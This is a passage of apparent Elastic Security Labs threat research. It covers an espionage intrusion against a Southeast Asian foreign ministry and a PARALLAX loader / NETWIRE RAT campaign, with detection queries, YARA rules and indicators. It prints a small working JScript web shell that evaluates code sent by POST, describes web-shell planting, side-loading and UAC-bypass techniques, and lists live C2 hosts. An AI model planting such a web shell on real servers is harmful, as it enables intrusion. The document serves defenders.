| 0x42 | Expects the string GenBeaconOptions | Generates a unique Globally Unique Identifier used to identify the infected machine and send it to the attacker |
| 0x43 | Shellcode blob                      | Execute the shellcode blob passed as a parameter in the current process                                         |
| 0x44 | N/A                                 | Write and Read from a specified named pipe                                                                      |
| 0x63 | Shellcode blob in chunks            | Similar to command ID: 0x43, this command can receive a blob of shellcode in chunks when fully received         |
From our analysis, it appears that this simplistic backdoor is used as a stage loader. It uses NT Windows APIs, mainly NtAllocateVirtualMemory , NtProtectVirtualMemory , and NtCreateThreadEx , to allocate the required shellcode memory and to create the executing thread.
kk2.exe
On November 30, 2022, an unknown binary called kk2.exe was executed on an Exchange server. While we have been unable to collect kk2.exe as of this writing, we can see that it was used to load a vulnerable driver that can be used to monitor and terminate processes from kernel mode, mhyprot.sys. It is unclear if mhyprot.sys is downloaded, or embedded into, kk2.exe.

mhyprot.sys was detected by Elastic’s open code Windows.VulnDriver.Mhyprot YARA rule, released in August 2022.

  For more information on how vulnerable drivers are used for intrusions, check out the Stopping Vulnerable Driver Attacks research Joe Desimone published in September 2022.

As stated previously, we could not collect kk2.exe for analysis but it is likely that it used mhyprot.sys to escalate to kernel mode as a way to monitor, and if necessary, terminate processes. This could be used as a way of protecting an implant, or entire intrusion, from detection.
Web shells
The following section highlights multiple attempts by the threat actors to install a web shell as a back door into the environment if they are evicted. While speculative in nature, it appears that most of these attempts to load web shells failed. It is unclear what the reasons for the failures are. We’ll not cover every attempt at loading a web shell, as several of them were very similar, but we’ll highlight the shifts in approaches.
The first attempt was to use the Microsoft certutil tool to download an Active Server Pages (ASPX) file ( config.aspx ) from a remote host (185.239.70[.]229) and save it as the error.aspx page on the Exchange Control Panel’s webserver. Because this IP address is a known Cobalt Strike server, it may have been blocked by network defense architecture, leading to further attempts to overwrite error.aspx.

After attempting to use config.aspx from a Cobalt Strike C2 server, the threat actors attempted to insert Base64 encoded Javascript into a text file ( 1.txt ), use certutil to decode the Base64 encoded Javascript ( 2.aspx ), and then overwrite error.aspx with 2.aspx. This was attempted on both the Exchange Control Panel and Outlook Web Access web servers.

The Base64 encoded string decoded into the following Javascript:
<%@ Page Language="Jscript" Debug=true%>
<%
var TNKY='nHsXLMPUSCABolxOgKWuIFeGVimhEjyzQrTvRcwafZdJDktqYpbN';
var ZZXG=Request.Form("daad");
var VAXN=TNKY(7) + TNKY(0) + TNKY(2) + TNKY(10) + TNKY(21) + TNKY(22);
eval(ZZXG, VAXN);
%

The preceding code is a simple web shell leveraging the eval Methodto evaluate JScript code sent through the POST parameter daad. Variations of this technique were attempted multiple times. Other attempts were observed to load obfuscated versions of the China Chopper and Godzilla web shells.
December 1–4, 2022
DLL side-loading
On December 2, 2022, on two Domain Controllers, we observed a new DLL ( log.dll ) being side loaded by a legitimate, but an 11-year-old, version of the Bitdefender Crash Handler executable (compiled name: BDReinit.exe ), 13802 AR.exe. Once executed, it will move to the **C:\ProgramData\OfficeDriver** directory, rename itself **svchost.exe** , and install itself as a service.
Once log.dll is loaded, it will spawn the Microsoft Windows Media Player ( wmplayer.exe ) and dllhost.exe and injects into them which triggers a memory shellcode detection.
Updated 2/2/2023: In our updated research into SIESTAGRAPH, DOORME, and SHADOWPAD, we identify  log.dll  as part of the SHADOWPAD malware family.
On December 2, 2022, another unknown DLL, Loader.any , was interactively executed with an Administrative account using rundll32.exe. Loader.any was observed executing two times on a Domain Controller and was then deleted interactively.
On December 3, 2022, we observed another malicious file, APerfectDayBase.dll. While this is a known malicious file, the execution was not observed. APerfectDayBase.dll is the legitimate name of a DLL in the import table of a benign-looking program, AlarmClock.exe.

This naming appears to be an attempt to make the malicious DLL look legitimate and likely to leverage AlarmClock.exe as a side-loading target. Testing has confirmed that the DLL can be side-loaded with AlarmClock.exe. While not malicious, we are including the hash for AlarmClock.exe in the Indicators table as its presence could be used purely as a side-loading vehicle for malicious DLL, APerfectDayBase.dll.
Victimology and targeting motivations
Diamond model
Elastic Security utilizes the Diamond Model to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.

Victimology
The victim is the foreign ministry of a nation in Southeast Asia. The threat actor appeared to focus priority intelligence collection efforts on personnel and positions of authority related to the victim's relationship with ASEAN (Association of Southeast Asian Nations).
ASEAN is a regional partnership union founded in 1967 to promote intergovernmental cooperation among member states. This has been expressed through economic, security, trade, and educational cooperation with expanding international and domestic significance for partner nations. The union itself has expanded to 10 member countries with 2 more currently seeking accession. It is exerting this international influence over the development of a Regional Comprehensive Economic Partnership trade agreement with a broader periphery of member nations (16 members and 2 applicants).

Below is a list of the targeted users, the collection window(s) in which their mailboxes were exported, and the date their mailboxes were exported.
| User    | Collection Window | ------- | ---------------------- | User 1  | 11/1/2022 - 11/28/202211/29/2022 | User 2  | 11/1/2022 - 11/28/2022 | User 3  | 11/1/2022 - 11/28/2022 | User 4  | 11/15/2022 - 11/28/2022 | User 5  | 11/15/2022 - | User 6  | 11/15/2022 - 11/28/2022 | User 7  | 11/15/2022 - | User 8  | 11/15/2022 - 11/28/2022 | User 9  | 11/15/2022 - 11/28/2022 | User 10 | 9/15/2022 - 11/29/2022 | User 11 | 9/15/2022 - 11/29/2022 | User 12 | 9/15/2022 - 11/29/2022 | User 13 | 9/1/2022 - 11/30/2022 | User 14 | 9/1/2022 - 11/30/2022 | User 15 | 11/29/2022 - 12/6/2022 | User 16 | 11/29/2022 - 12/6/2022 | User 17 | 11/29/2022 - 12/6/2022 | User 18 | 11/29/2022 - 12/6/2022 | User 19 | 11/29/2022 - 12/6/2022 | User 20 | 11/29/2022 - 12/6/2022 | User 21 | 11/29/2022 - 12/6/2022 | User 22 | 11/29/2022 - 12/6/2022 | User 23 | 11/29/2022 - 12/6/2022 | User 24 | 11/29/2022 - 12/6/2022

| Collection Date(s)  | ----------------------- | ------------------- | - 12/6/2022  | 11/28/202212/6/2022 | | 11/28/2022          | | 11/28/2022          | | 11/28/2022          | 11/28/202211/29/2022 - 12/6/2022 | 11/28/202212/6/2022 | | 11/28/2022          | 11/28/202211/29/2022 - 12/6/2022 | 11/28/202212/6/2022 | | 11/28/2022          | | 11/28/2022          | | 11/29/2022          | | 11/29/2022          | | 11/29/2022          | | 11/30/2022          | | 11/30/2022          | | 12/6/2022           | | 12/6/2022           | | 12/6/2022           | | 12/6/2022           | | 12/6/2022           | | 12/6/2022           | | 12/6/2022           | | 12/6/2022           | | 12/6/2022           | | 12/6/2022           |
As reflected above, we observed Users 1, 5, and 7 targeted twice each indicating that the contents of their mailboxes were of particular interest. This could be the result of pre-intrusion reconnaissance or once the initial traunch of mailboxes was reviewed by the threat actor, they decided to continue collecting on those users.
Targeting motivation
There is no indication this victim would provide any direct monetary benefit to an adversary. The attack appears to be motivated by the purpose of diplomatic intelligence gathering. There are a number of potential adversaries who would find a nation’s confidential diplomatic communications related to ASEAN, and by extension the RCEP, to be highly advantageous in furthering their own regional influence, national security, and domestic goals.
If the threat actor is excluded from ASEAN trade unions and depends on foreign aid from members of those trade unions, it could find confidential diplomatic information specifically related to ASEAN useful for negotiating or renegotiating trade agreements.
ASEAN member nations are rival claimants to territorial disputes in the South China Sea (SCS). ASEAN as an organization has not produced a unified front in the SCS dispute, with some members preferring direct nation-to-nation negotiations and some wanting ASEAN to negotiate as a whole. Diplomatic information from ASEAN member nations might provide the threat actor with useful information to influence decisions and negotiations around the SCS. The threat actor's interest in ASEAN and any individual member would almost certainly be multifaceted covering government functions from immigration to agriculture, to technology, to sociopolitical considerations such as human rights.
Detection logic
Prevention rules

Potential Masquerading as SVCHOST
Binary Masquerading via Untrusted Path
Process Execution from an Unusual Directory

Detection rules

Potential Credential Access via DCSync
Windows Service Installed via an Unusual Client
Suspicious Microsoft IIS Worker Descendant
Encrypting Files with WinRar or 7z
Exporting Exchange Mailbox via PowerShell
Windows Network Enumeration
NTDS or SAM Database File Copied
Suspicious CertUtil Commands

Hunting queries
The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.
KQL query
Using the Discover app in Kibana, the below query will identify loaded IIS modules that have been identified as malicious by Elastic Defend (even if Elastic Defend is in “Detect Only” mode).
The proceeding and preceding wildcards (*) can be an expensive search over a large number of events.
event.code : “malicious_file” and event.action : "load" and process.name : “w3wp.exe” and process.command_line.wildcard : (*MSExchange* or *SharePoint*)

EQL queries
Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar to the SiestaGraph backdoor and the observed DLL side-loading patterns.
# Hunt for DLL Sideloading using the observed DLLs:

library where
 dll.code_signature.exists == false and
 process.code_signature.trusted == true and
 dll.name : ("log.dll", "APerfectDayBase.dll") and
 process.executable :
           ("?:\\Windows\\Tasks\\*",
            "?:\\Users\\*",
            "?:\\ProgramData\\*")

# Hunt for scheduled task or service from a suspicious path:

process where event.type == "start" and
 process.executable : ("?:\\Windows\\Tasks\\*", "?:\\Users\\Public\\*", "?:\\ProgramData\\Microsoft\\*") and
 (process.parent.args : "Schedule" or process.parent.name : "services.exe")

# Hunt for the SiestaGraph compiled file name and running as a scheduled task:

process where event.type == "start" and
 process.pe.original_file_name : "windowss.exe" and not process.name : "windowss.exe" and process.parent.args : "Schedule"

# Hunt for unsigned executable using Microsoft Graph API:

network where event.action == "lookup_result" and
 dns.question.name : "graph.microsoft.com" and process.code_signature.exists == false

YARA
Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the SiestaGraph malware implant and the DoorMe IIS backdoor.
rule Windows_Trojan_DoorMe {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-09"
        last_modified = "2022-12-15"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "DoorMe"
        threat_name = "Windows.Trojan.DoorMe"
        reference_sample = "96b226e1dcfb8ea2155c2fa508125472c8c767569d009a881ab4c39453e4fe7f"
    strings:
        $seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
        $seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
        $seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
        $seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
        $seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
        $str_0 = ".?AVDoorme@@" ascii fullword
    condition:
        3 of ($seq*) or 1 of ($str*)
}

rule Windows_Trojan_SiestaGraph {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-14"
        last_modified = "2022-12-15"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "SiestaGraph"
        threat_name = "Windows.Trojan.SiestaGraph"
        reference_sample = "50c2f1bb99d742d8ae0ad7c049362b0e62d2d219b610dcf25ba50c303ccfef54"
    strings:
        $a1 = "downloadAsync" ascii nocase fullword
        $a2 = "UploadxAsync" ascii nocase fullword
        $a3 = "GetAllDriveRootChildren" ascii fullword
        $a4 = "GetDriveRoot" ascii fullword
        $a5 = "sendsession" wide fullword
        $b1 = "ListDrives" wide fullword
        $b2 = "Del OK" wide fullword
        $b3 = "createEmailDraft" ascii fullword
        $b4 = "delMail" ascii fullword
    condition:
        all of ($a*) and 2 of ($b*)
}

Observed adversary tactics and techniques
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
Tactics
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Reconnaissance
Initial access
Execution
Persistence
Defense evasion
Credential access
Discovery
Lateral movement
Collection
Command and control

Techniques / Sub techniques
Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

Gather host information
Gather victim information
Gather victim network information
Gather victim org information
Exploit public-facing application
Command and Scripting Interpreter: Windows command-shell
Command and Scripting Interpreter: Powershell
Network share discovery
Remote system discovery
File and directory discovery
Process discovery
Remote services: SMB/Windows admin shares
System service discovery
System owner/user discovery
Hijack execution flow: DLL side-loading
Masquerading: Masquerade task or service
Process injection
Indicator removal: File deletion
Deobfuscate/decode files or information
Virtualization/sandbox evasion: Time based Evasion
OS credential dumping: NTDS
OS credential dumping: Security Account Manager
OS credential dumping: DCSync
Create or modify system process: Windows service
Scheduled task/job: Scheduled task
Valid accounts
Server software component: IIS components
Server software component: Web shell
Email collection: Local email collection
Archive collected data: Archive via utility
Screen capture
Web service
Application layer protocol: Web protocols

References

https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme
https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks
https://threatfox.abuse.ch/ioc/1023850/
https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper
https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell
https://github.com/tennc/webshell/blob/master/Godzilla/123.ashx

Observables
All observables are also available for download in both ECS and STIX format in a combined zip bundle.
The following observables were discussed in this research.
| Indicator                                                        | Type    | Name                                    | Reference                                                 |
| ---------------------------------------------------------------- | ------- | --------------------------------------- | --------------------------------------------------------- |
| 1a87e1b41341ad042711faa0c601e7b238a47fa647c325f66b1c8c7b313c8bdf | SHA-256 | OfficeClient.exe and OfficeCore.exe     | SIESTAGRAPH                                               |
| 7fc54a287c08cde70fe860f7c65ff71ade24dfeedafdfea62a8a6ee57cc91950 | SHA-256 | Officeclient.exe                        | SIESTAGRAPH                                               |
| f9b2b3f7ee55014cc8ad696263b24a21ebd3a043ed1255ac4ab6a63ad4851094 | SHA-256 | officeup.exe                            | SIESTAGRAPH                                               |
| c283ceb230c6796d8c4d180d51f30e764ec82cfca0dfaa80ee17bb4fdf89c3e0 | SHA-256 | Microsoft.Exchange.Entities.Content.dll | DOORME                                                    |
| 4b7d244883c762c52a0632b186562ece7324881a8e593418262243a5d86a274d | SHA-256 | iisrehv.dll                             | SessionManager                                            |
| 54f969ce5c4be11df293db600df57debcb0bf27ecad38ba60d0e44d4439c39b6 | SHA-256 | kk2.exe                                 | mhyprot.sys loader                                        |
| 509628b6d16d2428031311d7bd2add8d5f5160e9ecc0cd909f1e82bbbb3234d6 | SHA-256 | mhyprot.sys                             | vulnerable driver                                         |
| 386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd | SHA-256 | 13802 AR.exeBDReinit.exe                | vulnerable Bitdefender Crash Handler                      |
| 452b08d6d2aa673fb6ccc4af6cebdcb12b5df8722f4d70d1c3491479e7b39c05 | SHA-256 | log.dll                                 | SHADOWPAD                                                 |
| 5be0045a2c86c38714ada4084080210ced8bc5b6865aef1cca658b263ff696dc | SHA-256 | APerfectDayBase.dll                     | malicious DLL injected into vulnerable binaries           |
| 3f5377590689bd19c8dd0a9d46f30856c90d4ee1c03a68385973188b44cc9ab7 | SHA-256 | AlarmClock.exe                          | benign, but targeted for side-loading APerfectDayBase.dll |
| f2a9ee6dd4d1ceb4d97138755c919549549311c06859f236fc8655cf38fe5653 | SHA-256 | Loader.any                              | currently unknown DLL                                     |
| 3b41c46824b78263d11b1c8d39cfe8c0e140f27c20612d954b133ffb110d206a | SHA-256 | Loader.any                              | currently unknown DLL                                     |
| 9b66cd1a80727882cfa1303ada37019086c882c9543b3f957ee3906440dc8276 | SHA-256 | Class1.exe                              | currently unknown file                                    |
| 185.239.70.229                                                   | ipv4    | na                                      | Cobalt Strike C2                                          |


Exploring the REF2731 Intrusion Set
Salim Bitam,Daniel Stepanic,Seth Goodwin,Andrew Pease — Tue, 06 Dec 2022 00:00:00 GMT
Key Takeaways

PARALLAX loader maldoc campaigns continue to have success delivering the NETWIRE RAT.
The PARALLAX loader leverages advanced features including DLL-side loading, syscall usage, process, and steganography.
Shared infrastructure can be used to stitch campaigns and intrusion sets together.

Preamble
The Elastic Security Labs team has been tracking REF2731, an intrusion set involving the PARALLAX loader which deploys the NETWIRE RAT. This activity has managed to stay under the radar with low detection rates and continues to incorporate interesting techniques such as DLL side-loading, syscall adoption, process injection, and leveraging steganography.
PARALLAX is a full-featured modal backdoor and loader featuring defense evasion and information on stealing capabilities, first observed in 2020 and associated with COVID-19 malspam campaigns. NETWIRE is a mature and cross-platform RAT that was first observed in 2012
In this research publication, we will go through the execution flow of one of the observed campaigns, the different features of the PARALLAX loader, technical analysis around the campaigns, campaign intersections, detection logic, and atomic indicators.
Execution Flow (PARALLAX loader)
The Elastic Security Labs team has been monitoring multiple campaigns over the past year leveraging the PARALLAX loader. PARALLAX has multiple capabilities and use cases. This analysis observed the PARALLAX loader being used to load other remote access tools (the NETWIRE RAT). Using our PARALLAX payload extractor, we have also observed the PARALLAX loader being used to load the PARALLAX RAT for interactive remote access. These infections typically start through email spam campaigns delivering macro-enabled lure documents.

  On July 27, 2022, Microsoft began rolling out a change to Office documents that will prevent users from opening macros in files that came from the Internet, such as email attachments. We have not observed a change in TTPs based on this update from this intrusion set. Our sampling for this research of macro-enabled Word documents started in March of 2022 and continued through August 2022.

High-level summary of the execution flow:

An email is sent to a victim with a macro-enabled Microsoft Word document attachment.
The macro downloads malicious files used for DLL-side loading and injection.
The Microsoft developer tool ( MsiDb.exe ) sideloads the malicious ( msi.dll ).
This malicious DLL drops and decrypts a WAV file ( cs16.wav ) before injecting the contents (shellcode) into cmd.exe.
The injected shellcode is used to extract the NETWIRE RAT and set up the PARALLAX loader from a dropped image ( paper.png ) and inject into cmd.exe.
A scheduled task is used to establish persistence for the PARALLAX RAT.
The NETWIRE payload is then executed and sets up its own persistence mechanism.


First Stage (lure/macro)
The first stage in these campaigns involves macro-enabled lure documents typically with themes around United States tax filings.

In this lure, we observed legitimate code lifted from the GLPK (GNU Linear Programming Kit) used to bypass static analysis of the macro. The malicious code is then interwoven within the macro making it look very genuine and more deceptive.

This approach to obfuscation is also observed when critical components used for the next stage are not stored in the macro itself but called from text buried several pages deep within the lure document.

The macro parses the embedded paragraph text on page three of the lure document and locates the object names and next stage components based on their string length. This is a clever technique to avoid detection based on static analysis of the macro (green text comments added to the images below by ESL for clarity).

The macro then uses the CreateObject function to create the required objects and download each of the malware components, saving them to the AppData directory of the current user.

It then executes AppData\MsiDb.exe through the created wscript.shell object.
For this observed lure, the five components that are downloaded for the next stage as identified in the embedded text image above are:
| Filename  | Description                                                                                                                     |
| --------- | ------------------------------------------------------------------------------------------------------------------------------- |
| MsiDb.exe | Legitimate Microsoft development application used to import/export database tables and streams                                  |
| msi.dll   | Malicious DLL used for side-loading                                                                                             |
| cs16.wav  | XOR encrypted shellcode                                                                                                         |
| paper.png | Obfuscated NETWIRE and additional PARALLAX loader stager                                                                        |
| cs16.cfg  | Configuration containing the location of the next execution stage png file, it can either be local or hosted in a remote server |
Second Stage (MsiDb.exe)
One of the key strengths in these campaigns is its ability to bypass static detection by modifying legitimate DLLs, a common trend previously reported with the BLISTER loader analysis [1, 2]. Once all the components are retrieved, the macro executes the signed Microsoft development tool ( MsiDb.exe ) to load the previously downloaded malicious library ( msi.dll ).
When the campaign began in September of 2022, this DLL had zero detections in VirusTotal due to its DLL tampering technique where a slight modification of a benign function is overwritten with the second stage.

When ( MsiDb.exe ) sideloads the malicious ( msi.dll ) module, we can see the difference between the patched and unpatched version of msi.dll.

During this loading stage, the malicious code is heavily obfuscated and leverages dynamic API resolution to bypass static analysis tools and processes. It performs this using two functions:

One function is used to retrieve library addresses using the CRC32 checksum hash of the requested library name.
Another function is used to take the address of the library and the hash of the API name.


The malware then builds its own import table, storing it on the stack. An interesting aspect is that the malicious code performs an anti-analysis check to see if the current process name matches the targeted application ( MsiDb.exe ), if it doesn’t match, the malware will stop at this stage. This check will hinder automated dynamic analysis systems that might try to analyze msi.dll in isolation by executing it with other common applications such as rundll32.exe or regsvr32.exe.
Next, the malware will load cs16.wav and XOR-decrypt it using a key embedded in the file. The key resides in the 200 bytes following the first 4 bytes of the file (bytes 5-204).
The malware will then execute the shellcode inside the decrypted WAV file.
Third Stage (shellcode)
To evade user mode hooks utilized by EDR/AV products and as debugger breakpoints, the malware uses direct system calls to low-level APIs used for process injection. It performs this by first mapping a file view of the Windows ntdll.dll library from the System directory.

It then retrieves the API offset by subtracting the API address from the loaded base address of the loaded ntdll.dll , then finally it will use the offset from the mapped ntdll.dll and extract the syscall number.

After this, the loader uses the Heaven’s Gate technique and performs injection in the suspended cmd.exe process leveraging native Windows ZwAllocateVirtualMemory , ZwWriteVirtualMemory, and ZwResumeThread API functions.
Fourth Stage
One interesting technique observed during this stage is through the use of a dropped file ( cs16.cfg ). The file is a legitimate Python header file and is prepended with the next stage file name ( paper.png ). In our observations, these point to local files previously downloaded but also has the flexibility to point to hosted objects. This is another example of using benign code to obfuscate more malicious intent.

If the first string of ( cs16.cfg ) points to a hosted file, it uses the IBackgroundCopyManager Component Object Model (COM) interface to download a PNG file and store it on disk ( paper.png in our example).

The malware extracts a configuration structure from the stenographically-obfuscated PNG that contains the next PARALLAX loader stage and the final payload; in our sample, we identified the final payload as the NETWIRE RAT, but this process could be used to deliver other payloads.

The malware executes position independent shellcode that reads and decodes the PNG file, it first extracts the red pixel bytes to an array by parsing the PNG, then decompresses the data with the LZMA algorithm.

Next, it creates a suspended cmd.exe process and injects the NETWIRE payload and the last PARALLAX stage that will set up the environment and execute the NETWIRE payload.

Below is the memory regions showing the injected process hosting the NETWIRE payload:

Fifth Stage
The fifth and final stage of PARALLAX Loader performs a UAC bypass through CMSTPLUA COM interface, a technique that has been used by ransomware-like LockBit, it then sets persistence on the system before executing the final payload by creating a scheduled task to run Msidb.exe using Component Object Model (COM).

Campaign Analysis
Throughout the analysis of the lure documents and malware families, we observed two campaigns associated with their TTPs, malware, network infrastructure, and lure metadata.
The intersections we observed allowed us to observe additional network infrastructure and identify the characteristics of one infrastructure owner in Campaign 1.
In the following sections, we will describe relevant elements and artifacts associated with each campaign, as well as their relationships.
This section will be focused on campaign intersections. As each campaign functioned similarly with respect to their technical implementation (lure document -\> macro -\> defense evasion techniques -\> PARALLAX loader -\> NETWIRE RAT), we’ll use the analysis of the five stages for the deployment of the PARALLAX and NETWIRE malware that has been described in detail in the previous Execution Flow section.
While we are not attributing these campaigns to any specific threat actor, we have identified parallel research leveraging the same TTPs that we observed. This research was attributed to the financially motivated threat group, Evilnum [1, 2] and the DarkCasino campaign.
Campaign 1
Overview
This campaign is clustered by shared lure document metadata, network infrastructure, dropped macro, and malicious DLL ( msi.dll ) .

Lure Documents
The three lure documents used in Campaign 1 were all macro-embedded Microsoft Word documents. The documents were all 153 pages long, with the macro embedded on the 3rd page. The documents all included the H1 Word document header of Как я искал Гантмахера (loosely translated to: “How I searched for Gantmakher”). Vsevolod Gantmakher was a Russian physicist.
Extracting the metadata for all three documents, we can see their relationships based on several fields; most notably:

The identical HeadingPairs (the names of the Word document header).
The identical CreationDate dates.
The identical LastPrinted dates.
The ModifyDate dates are all within 14-minutes.


The H1 document header of the lure documents does not appear relevant to the targeting as the lure document names and lure document content are wholly unrelated: two of the three document names were related to 2021 United States tax filings, all three of the document names are in English, and the contents of the lure documents are in Cyrillic.
Macro
The macro downloads five files, detailed in the Execution Flow section above (cs16.wav, msi.dll , MsiDb.exe , paper.png , and cs16.cfg ), from a different domain for each lure document.

Network Infrastructure
Campaign 1 included three domains contacted by the macro to download artifacts required for stages two through five (described in the “Execution Flow” section above) and three domains used for the NETWIRE RAT C2.
The six domains are:

digitialrotprevention[.]com - macro-connected.
internationalmusicservices[.]com - macro-connected.
globalartisticservices[.]com - macro-connected.
ohioohioa[.]com - NETWIRE C2.
ywiyr[.]com - NETWIRE C2.
septton[.]com - NETWIRE C2.

The macro-connected domains (digitialrotprevention[.]com, internationalmusicservices[.]com, and globalartisticservices[.]com) include metadata that has allowed us to cluster these three domains together in Campaign 1.

In the above image, the Admin email address and Admin user name is russnet123@protonmail[.]com and rus fam , respectively. As of this writing, these domains have been suspended.

  Our research identified an additional domain, micsupportcenter[.]com that had the same Admin email address and Admin user name. The lure document included similar US tax document themes, macro elements, and TTPs; but we were unable to confirm that it was part of this campaign. This lure document was first observed in May of 2022 and is possibly part of a testing wave, but this is speculation. We are confident this is a malicious domain and are including it as an indicator artifact for this intrusion set, but not this campaign.

Once the execution flow reaches the Fourth Stage (described in the Execution Flow section above), the final three domains (ohioohioa[.]com, ywiyr[.]com, and septton[.]com) act as ongoing command and control nodes for the NETWIRE RAT.
While ohioohioa[.]com and ywiyr[.]com are protected by privacy services, septton[.]com has interesting metadata that we were able to collect and is outlined below in the SEPTTON Domain section below.
Campaign 1 Indicators
| Name                                                             | STIX 2.1 Indicator Type | Identifier                                        |
| ---------------------------------------------------------------- | ----------------------- | ------------------------------------------------- |
| bc9f19ae835d975de9aaea7d233b6ea9b2bc30f80d192af2e8e68542b588917e | SHA-256                 | Brian_Tax_Docs.doc lure document                  |
| d70365481fb4806130743afd199697eb981a0eb2756754ecc548f5b30c2203a5 | SHA-256                 | VIRGINIA-TAX-RETURN-2021-US-EXT.doc lure document |
| 9dd709cb989d985a6cfee4a254f894a3b878a03962dbf253cb09a24ece455d58 | SHA-256                 | All Docs.doc lure document                        |
| 16227f50bbe42a13a2abf0bf0e146f356863de59525c54909ea8ccc2db448f77 | SHA-256                 | msi.dll PARALLAX loader / NETWIRE                 |
| 0c8c431a1f589fdcf453c7afada63c2e2e2a887e49abdbb222983fa6044fdf66 | SHA-256                 | cs16.wav (shellcode)                              |
| 6ed65beb692301af5296ba6751063ae40e91c4e69ced43560c67ce58165c36b5 | SHA-256                 | cs16.cfg (config for PNG stage)                   |
| 5f259757741757c78bfb9dab2cd558aaa8403951c1495dc86735ca73c33d877f | SHA-256                 | paper.png (stager for NETWIRE)                    |
| globalartisticservices[.]com                                     | domain-name             | PARALLAX loader domain                            |
| DigitalRotPrevention[.]com                                       | domain-name             | PARALLAX loader domain                            |
| InternationalMusicServices[.]com                                 | domain-name             | PARALLAX loader domain                            |
| russnet123@protonmail[.]com                                      | email-addr              | PARALLAX loader domain registration email address |
| chisholm.i@aol[.]com                                             | email-addr              | NETWIRE C2 domain registration email address      |
| ywiry[.]com                                                      | domain-name             | NETWIRE C2 domain                                 |
| ohioohioa[.]com                                                  | domain-name             | NETWIRE C2 domain                                 |
| septton[.]com                                                    | domain-name             | NETWIRE C2 domain                                 |
Campaign 2
Overview
This campaign is clustered through its lure document metadata, network infrastructure, dropped macro, and malicious DLL ( msvcr100.dll ).

Lure Documents
The lure document used in Campaign 2 is a macro-embedded Microsoft Word document. The document metadata differentiates it from Campaign 1 based on the LastModifiedBy field and the macro network infrastructure.

The document name was also related to 2021 United States tax filings.
Macro
Like Campaign 1, the macro downloads several files. Beyond the DLL file ( msvcr100.dll ), all files were offline before they could be collected. Based on the TTPs observed in this campaign, we assess with high confidence that they (java.exe, Fruit.png , idea.cfg , and idea.mp3 ) function similarly to the files from Campaign 1 and detailed in the Execution Flow section above.

Additional details about the Campaign 1 and Campaign 2 file relationships are in the “Campaign intersections” section below.
Network Infrastructure
Campaign 2 included one domain contacted by the macro to download artifacts required for stages two through five (described in detail in the “Execution Flow” section above). Additionally, there was one domain used for the NETWIRE RAT C2.
The two domains are:

solro14.s3.ap-northeast-3.amazonaws[.]com - macro-connected
ohioohioa[.]com - NETWIRE C2

Once the execution flow reaches stage four, ohioohioa[.]com acts as the ongoing command and control node for the NETWIRE RAT.
Campaign 2 Indicators
| Name                                                             | STIX 2.1 Indicator Type | Identifier                                 |
| ---------------------------------------------------------------- | ----------------------- | ------------------------------------------ |
| solro14.s3.ap-northeast-3.amazonaws[.]com                        | domain-name             | PARALLAX loader domain                     |
| 32fc0d1ad678133c7ae456ecf66c3fcf97e43abc2fdfce3ad3dce66af4841f35 | SHA-256                 | 2021-Individual-Tax-Form.doc lure document |
| 443879ee2cb3d572bb928d0831be0771c7120968e442bafe713a6e0f803e8cd9 | SHA-256                 | msvcr100.dll PARALLAX loader / NETWIRE     |
